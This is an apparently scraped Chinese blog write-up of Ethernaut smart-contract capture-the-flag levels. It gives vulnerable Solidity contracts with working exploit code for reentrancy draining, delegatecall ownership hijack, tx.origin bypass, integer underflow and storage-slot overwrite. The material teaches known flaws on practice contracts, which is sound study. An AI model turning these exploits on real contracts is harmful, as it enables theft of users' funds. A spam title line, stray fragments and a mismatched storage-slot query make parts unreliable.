久久亚洲精品国产精品_羞羞漫画在线版免费阅读网页漫画_国产精品久久久久久久久久久久_午夜dj免费观看在线视频_希崎杰西卡番号

win10 mul

前沿拓展:


Ethernaut記錄Fallback題目描述

Look carefully at the contract's code below.

You will beat this level if

you claim ownership of the contract

you reduce its balance to 0

Things that might help

How to send ether when interacting with an ABI

How to send ether outside of the ABI

Converting to and from wei/ether units (see help() command)

Fallback methods

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallback {
?
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
?
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
?
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
?
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
?
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}分析

題目的目標(biāo)是成為這個(gè)合約的owner,并且將合約的balance清零。

在源代碼中可以看到,成為合約的owner就代表著需要將合約中的owner賦值為我們的address,有三種方式:

1.調(diào)用contribute函數(shù)

2.調(diào)用receive函數(shù)

這里需要說(shuō)明一下,constructor函數(shù)是合約的構(gòu)造函數(shù),是合約在初始化的時(shí)候建立的,而sender這個(gè)全局變量代表的是當(dāng)前和合約交互的用戶。所以說(shuō),contructor函數(shù)的sender不可能是除了創(chuàng)建者之外后續(xù)用戶。

如要調(diào)用contribute函數(shù),則需要向合約轉(zhuǎn)賬,轉(zhuǎn)入的eth大于1000才可以成為onwer,而且每次只能轉(zhuǎn)小于0.001eth,顯然不可行。

那么如果調(diào)用receive函數(shù),只需要轉(zhuǎn)賬大于0即可成為owner。那么這個(gè)receive函數(shù)怎么調(diào)用呢?

這個(gè)函數(shù)明顯長(zhǎng)得就和正常的函數(shù)不一樣,沒(méi)有function修飾。

這里的話第一解釋一下什么是fallback

https://me.tryblockchain.org/blockchain-solidity-fallback.html

也就是說(shuō),直接向合約轉(zhuǎn)賬,使用address.send(ether to send)向某個(gè)合約直接轉(zhuǎn)帳時(shí),由于這個(gè)行為沒(méi)有發(fā)送任何數(shù)據(jù),所以接收合約總是會(huì)調(diào)用fallback函數(shù)。或者當(dāng)調(diào)用函數(shù)找不到時(shí)就會(huì)調(diào)用fallback函數(shù)。

那么這個(gè)fallback和receive又有什么關(guān)系呢?在0.6以后的版本,fallback函數(shù)的寫(xiě)法就不是這么寫(xiě)了而是:

fallback() external {
}
receive() payable external {
currentBalance = currentBalance + msg.value;
}

fallback 和 receive 不是普通函數(shù),而是新的函數(shù)類型,有特別的含義,所以在它們前面加 function 這個(gè)關(guān)鍵字。加上 function 之后,它們就變成了一般的函數(shù),只能按一般函數(shù)來(lái)去調(diào)用。

每個(gè)合約最多有一個(gè)不帶任何參數(shù)不帶 function 關(guān)鍵字的 fallback 和 receive 函數(shù)。

receive 函數(shù)類型必須是 payable 的,并且里面的語(yǔ)句只有在通過(guò)外部地址往合約里轉(zhuǎn)賬的時(shí)候執(zhí)行。fallback 函數(shù)類型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合約發(fā)送非轉(zhuǎn)賬交易,如果交易里帶有轉(zhuǎn)賬信息,交易會(huì)被 revert;如果是 payable 的,自然也就可以接受轉(zhuǎn)賬了。

盡管 fallback 可以是 payable 的,但并不建議這么做,聲明為 payable 之后,其所消耗的 gas 最大量就會(huì)被限定在 2300。

也就是說(shuō),只要向合約轉(zhuǎn)賬,就會(huì)執(zhí)行receive函數(shù)。具體來(lái)說(shuō),就是調(diào)用contract.sendTransaction({value : 1})。

所以說(shuō),要成為owner要經(jīng)過(guò)以下兩個(gè)步驟:

1.調(diào)用contribute使contribution大于0

2.向合約轉(zhuǎn)賬,調(diào)用receive,成為owner。

成為owner后,還需要將合約的balance清零,這里需要調(diào)用withdraw函數(shù),也就是執(zhí)行這一句:

owner.transfer(address(this).balance);

this指針指向的是合約本身,這句話的意思就是合約向owner的地址轉(zhuǎn)帳合約所有的balance。

所以,最終的payload就是:

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw() Fallout題目描述

Level completed!

Difficulty 2/10

Claim ownership of the contract below to complete this level.

Things that might help

Solidity Remix IDE代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
?
?
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
?
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
?
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
?
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}分析

提示是用ide看,問(wèn)題就是他這個(gè)構(gòu)造函數(shù)其實(shí)不是構(gòu)造函數(shù),F(xiàn)al1out,直接調(diào)用即可。

過(guò)關(guān)后,會(huì)出現(xiàn)這樣一段話:

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {address private owner;function DynamicPyramid() { owner = msg.sender; }function collectAllFees() { owner.transfer(this.balance) }…

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in **artcontractland.

coin flip題目

需要連續(xù)十次猜中硬幣翻轉(zhuǎn)結(jié)果,猜對(duì)了就可以過(guò)關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract CoinFlip {
?
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}分析

可以看到,每一次猜的值都要與blockhash/factor進(jìn)行一個(gè)比對(duì)。這里,blocknumber指的是當(dāng)前交易的區(qū)塊編號(hào),并不是合約所處的區(qū)塊編號(hào)。由于一個(gè)塊內(nèi)交易數(shù)量很多,所以我們就可以通過(guò)布置一個(gè)合約,使其交易行為與驗(yàn)證的交易打包在一個(gè)塊中,這樣blockhash的值就可以提前算出來(lái),重復(fù)十次即可過(guò)關(guān)

exp:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
?
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor (address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
?
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}telephone題目

需要成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}分析

這里肯定是調(diào)用changeOwner,知識(shí)點(diǎn)就在于tx.origin和msg.sender之間的區(qū)別。

tx.origin (address):交易發(fā)送方(完整的調(diào)用鏈)msg.sender (address):消息的發(fā)送方(當(dāng)前調(diào)用)

可以認(rèn)為,origin為源ip地址,sender為上一跳地址。

所以思路就是部署一個(gè)合約A,我們調(diào)用這個(gè)合約A,而這個(gè)合約A調(diào)用題目合約,即可完成利用。

Exp:

pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
?
Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
?
function hack() public{
target.changeOwner(msg.sender);
}
}token題目

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Token {
?
mapping(address => uint) balances;
uint public totalSupply;
?
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
?
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] – _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
?
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}分析

uint整數(shù)溢出,不會(huì)小于0。

exp:

pragma solidity ^0.6.0;
?
?
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
?
contract Token {
address levelInstance;
?
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}delegation題目

成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Delegate {
?
address public owner;
?
constructor(address _owner) public {
owner = _owner;
}
?
function pwn() public {
owner = msg.sender;
}
}
?
contract Delegation {
?
address public owner;
Delegate delegate;
?
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
?
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}分析

有兩個(gè)合約,第一個(gè)delegate里面有個(gè)pwn函數(shù),可以直接獲得owner。第二個(gè)合約delegation實(shí)例化了delegate,并且定義了fallback函數(shù),里面通過(guò)delegeatecall調(diào)用delegate合約中的函數(shù)。

我們經(jīng)常會(huì)使用call函數(shù)與合約進(jìn)行交互,對(duì)合約發(fā)送數(shù)據(jù),當(dāng)然,call是一個(gè)較底層的接口,我們經(jīng)常會(huì)把它封裝在其他函數(shù)里使用,不過(guò)性質(zhì)是差不多的,這里用到的delegatecall跟call主要的不同在于通過(guò)delegatecall調(diào)用的目標(biāo)地址的代碼要在當(dāng)前合約的環(huán)境中執(zhí)行,也就是說(shuō)它的函數(shù)執(zhí)行在被調(diào)用合約部分其實(shí)只用到了它的代碼,所以這個(gè)函數(shù)主要是方便我們使用存在其他地方的函數(shù),也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用于調(diào)用其他合約的call類的函數(shù),其中的區(qū)別如下:1、call 的外部調(diào)用上下文是外部合約2、delegatecall 的外部調(diào)用上下是調(diào)用合約上下文

也就是說(shuō),我們?cè)赿elegation里通過(guò)delegatecall調(diào)用delegate中的pwn函數(shù),pwn函數(shù)運(yùn)行的上下文其實(shí)是delegation的環(huán)境。也就是說(shuō),此時(shí)執(zhí)行pwn的話,owner其實(shí)是delegation的owner而不是delegate的owner。

抽象點(diǎn)理解,call就是正常的call,而delegatecall可以理解為inline函數(shù)調(diào)用。

在這里我們要做的就是使用delegatecall調(diào)用delegate合約的pwn函數(shù),這里就涉及到使用call指定調(diào)用函數(shù)的**作,當(dāng)你給call傳入的第一個(gè)參數(shù)是四個(gè)字節(jié)時(shí),那么合約就會(huì)默認(rèn)這四個(gè)字節(jié)就是你要調(diào)用的函數(shù),它會(huì)把這四個(gè)字節(jié)當(dāng)作函數(shù)的id來(lái)尋找調(diào)用函數(shù),而一個(gè)函數(shù)的id在以太坊的函數(shù)選擇器的生成規(guī)則里就是其函數(shù)簽名的sha3的前4個(gè)bytes,函數(shù)前面就是帶有括號(hào)括起來(lái)的參數(shù)類型列表的函數(shù)名稱。

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});force題目

令合約的余額大于0即可通關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Force {/*
?
MEOW ?
/_/ /
____/ o o
/~____ =?= /
(______)__m_m)
?
*/}分析

沒(méi)有任何代碼的合約怎么接受eth?這里的話以太坊里我們是可以強(qiáng)制給一個(gè)合約發(fā)送eth的,不管它要不要它都得收下,這是通過(guò)selfdestruct函數(shù)來(lái)實(shí)現(xiàn)的,如它的名字所顯示的,這是一個(gè)自毀函數(shù),當(dāng)你調(diào)用它的時(shí)候,它會(huì)使該合約無(wú)效化并刪除該地址的字節(jié)碼,第二它會(huì)把合約里剩余的資金發(fā)送給參數(shù)所指定的地址,比較特殊的是這筆資金的發(fā)送將無(wú)視合約的fallback函數(shù),因?yàn)槲覀冎耙蔡岬搅水?dāng)合約直接收到一筆不知如何處理的eth時(shí)會(huì)觸發(fā)fallback函數(shù),然而selfdestruct的發(fā)送將無(wú)視這一點(diǎn)。

所以思路就是搞一個(gè)合約出來(lái),第二自毀,強(qiáng)制給題目合約eth。

contract Force {
address payable levelInstance;
?
constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}
?
function give() public payable {
selfdestruct(levelInstance);
}
}vault題目

使得locked == false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Vault {
bool public locked;
bytes32 private password;
?
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
?
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}分析

主要就是猜密碼,看起來(lái)密碼被private保護(hù),不能被訪問(wèn)到,但是其實(shí)區(qū)塊鏈上所有東西都是透明的,只要我們知道它存儲(chǔ)的地方,就能訪問(wèn)到查詢到。

使用web3的storageat函數(shù)即可查詢到特**置的數(shù)據(jù)信息。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});king題目

合同代表一個(gè)非常簡(jiǎn)單的游戲:誰(shuí)給它發(fā)送了比當(dāng)前獎(jiǎng)金還大的數(shù)量的以太,就成為新的國(guó)王。在這樣的**中,被推翻的國(guó)王獲得了新的獎(jiǎng)金,但是如果你提交的話那么合約就會(huì)回退,讓level重新成為國(guó)王,而我們的目標(biāo)就是阻止這一情況的發(fā)生。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract King {
?
address payable king;
uint public prize;
address payable public owner;
?
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
?
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
?
function _king() public view returns (address payable) {
return king;
}
}分析

主要看receive函數(shù),邏輯是先轉(zhuǎn)賬第二再更新king和prize,所以說(shuō),如果我們使得程序斷在接受上,即可使得king不被更新。

所以代碼是這樣:

pragma solidity ^0.6.0;
?
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}

接受函數(shù)邏輯就是直接revert,這樣攻擊合約只要發(fā)生了轉(zhuǎn)賬,就會(huì)中止執(zhí)行,這樣transfer就不會(huì)成功,king也就不會(huì)更新。

reentrancy題目

盜取合約中所有余額

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;
?
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
?
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
?
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
?
receive() external payable {}
}分析

這個(gè)題目是很著名的re-entrance攻擊,也就是重入攻擊。漏洞點(diǎn)在于withdraw函數(shù)。可以看到他是先調(diào)用了msg.sender.call{value:_amount}("");第二再在balance里面將存儲(chǔ)的余額減去amount。這里就是可重入攻擊的關(guān)鍵所在了,因?yàn)樵摵瘮?shù)在發(fā)送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發(fā)送ether,因?yàn)閏all的參數(shù)是空,所以會(huì)調(diào)用攻擊合約的fallback函數(shù),我們?cè)趂allback函數(shù)里面再次調(diào)用withdraw,這樣套娃,就能將合約里面的錢都偷出來(lái)。

pragma solidity ^0.8.0;
?
interface IReentrance {
function withdraw(uint256 _amount) external;
}
?
contract Reentrance {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
?
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}elevator題目

另top==true

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
interface Building {
function isLastFloor(uint) external returns (bool);
}
?
?
contract Elevator {
bool public top;
uint public floor;
?
function goTo(uint _floor) public {
Building building = Building(msg.sender);
?
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}分析

合約并沒(méi)有實(shí)現(xiàn)building,需要我們自己定義。從程序的分析來(lái)看,top不可能為true。所以我們需要在實(shí)現(xiàn)building的時(shí)候搞點(diǎn)事情,也就是第一次搞成false,第二次調(diào)用搞成true就好。

pragma solidity ^0.8.0;
?
interface IElevator {
function goTo(uint256 _floor) external;
}
?
contract Elevator {
address levelInstance;
bool side = true;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
?
function go() public {
IElevator(levelInstance).goTo(1);
}
}privacy題目

將locked成為false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Privacy {
?
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
?
constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
?
/*
A bunch of super a**anced solidity algorithms…
?
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,—/V
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}分析

和那個(gè)vault一樣,只不過(guò)這次的data需要確**置。

根據(jù)32bytes一格的標(biāo)準(zhǔn),劃分如下

//slot 0
bool public locked = true;
//slot 1
uint256 public constant ID = block.timestamp;
//slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);//2 字節(jié)
//slot 3-5
bytes32[3] private data;

所以最終的data[2]就在slot5

所以最終查詢:

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})naughty coin題目

NaughtCoin是一個(gè)ERC20代幣,你已經(jīng)擁有了所有的代幣。但是你只能在10年的后才能將他們轉(zhuǎn)移。你需要想出辦法把它們送到另一個(gè)地址,這樣你就可以把它們自由地轉(zhuǎn)移嗎,讓后通過(guò)將token余額置為0來(lái)完成此級(jí)別。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
?
contract NaughtCoin is ERC20 {
?
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
?
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
?
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}分析

代碼重載了EC20類,但是沒(méi)有完全重載完,所以說(shuō)可以直接調(diào)用ec20里面的函數(shù)進(jìn)行轉(zhuǎn)賬。

contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))preservation題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Preservation {
?
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
?
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
?
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
?
// Simple library contract to set the time
contract LibraryContract {
?
// stores a timestamp
uint storedTime;
?
function setTime(uint _time) public {
storedTime = _time;
}
}分析

漏洞點(diǎn)還是在delegatecall上,由于不會(huì)改變上下文,所以說(shuō)settime函數(shù)中,將storedtime賦值為time,如果delegatecall調(diào)用,其實(shí)是把slot1中的數(shù)據(jù)賦值為time。

所以說(shuō)第一次setfirsttime將timezone1改掉,改成我們攻擊合約地址,這樣就可以調(diào)用魔改的settime函數(shù)。,第二就可以把owner改掉了。

攻擊合約代碼:

pragma solidity ^0.8.0;
?
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
?
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}

攻擊流程:

contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)recovery題目

合約的創(chuàng)建者已經(jīng)構(gòu)建了一個(gè)非常簡(jiǎn)單的合約示例。任何人都可以輕松地創(chuàng)建新的代幣。部署第一個(gè)令牌合約后,創(chuàng)建者發(fā)送了0.5ether以獲取更多token。后來(lái)他們失去了合同地址。目的是從丟失的合同地址中恢復(fù)(或移除)0.5ether。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Recovery {
?
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}
?
contract SimpleToken {
?
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
?
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
?
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
?
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
?
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}分析

主要的難點(diǎn)就是找不到合約的地址,不過(guò)所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask錢包里面查看交易就能獲得合約的地址。找到合約地址后調(diào)用destroy函數(shù)就行。

pragma solidity ^0.8.0;
?
interface ISimpleToken {
function destroy(address payable _to) external;
}
?
contract SimpleToken {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}Alien Codex題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
?
import '../helpers/Ownable-05.sol';
?
contract AlienCodex is Ownable {
?
bool public contact;
bytes32[] public codex;
?
modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}
?
function record(bytes32 _content) contacted public {
codex.push(_content);
}
?
function retract() contacted public {
codex.length–;
}
?
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}分析

合約引入了ownable,這樣合約中就多了個(gè)owner變量,這個(gè)變量經(jīng)過(guò)查詢是在slot 0中。

win10 mul

前十六個(gè)字節(jié)是contact

win10 mul

win10 mul

可以看到調(diào)用完makecontact就變成1了。

在這個(gè)合約里面,可以指定下標(biāo)元素賦值,且沒(méi)有檢查。所以說(shuō)我們只需要計(jì)算出codex數(shù)組和slot0的距離即可改變owner。

codex是一個(gè)32bytes的數(shù)組,在slot1中存儲(chǔ)著他的長(zhǎng)度。我們要計(jì)算出一個(gè)元素的下標(biāo),如果下標(biāo)溢出,則會(huì)存儲(chǔ)到slot0中。

在Solidity中動(dòng)態(tài)數(shù)組內(nèi)變量的存儲(chǔ)位計(jì)算方法可以概括為:b[X] == SLOAD(keccak256(slot) + X),在這個(gè)合約中,開(kāi)頭的slot為1,也就是他的長(zhǎng)度。(換句話說(shuō),數(shù)組中某個(gè)元素的slot = keccak(slot數(shù)組)+ index)

因此第一個(gè)元素位于slot keccak256(1) + 0,第二個(gè)元素位于slot keccak256(1) + 1,以此類推。

所以我們要計(jì)算的下標(biāo)就是令2^256 = keccak256(slot) + index,即index = 2^256 – keccak256(slot)

攻擊代碼:

pragma solidity ^0.8.0;
?
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
?
contract AlienCodex {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) – uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
?
}denial題目

阻止其他人從合約中withdraw。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Denial {
?
using SafeMath for uint256;
address public partner; // withdrawal partner – pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
?
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
?
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
?
// allow deposit of funds
receive() external payable {}
?
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}分析

其實(shí)看到了call函數(shù)形式的轉(zhuǎn)賬就猜到差不多了,就是fallback函數(shù)的利用。在fallback函數(shù)中遞歸的調(diào)用wiithdraw函數(shù),這樣直到gas用光,就達(dá)到目的了。

pragma solidity ^0.8.0;
?
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
?
contract Denial {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
fallback() external payable {
IDenial(levelInstance).withdraw();
}
?
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}gatekeeper1題目

pass三個(gè)check

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract GatekeeperOne {
?
using SafeMath for uint256;
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

第一個(gè)check直接用合約交互即可。

第三個(gè)check實(shí)際上是個(gè)截?cái)鄦?wèn)題,也就是說(shuō)0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff

主要的難點(diǎn)在于第二個(gè)check,需要設(shè)定執(zhí)行到gatetwo時(shí)的gasleft % 8191 == 0。

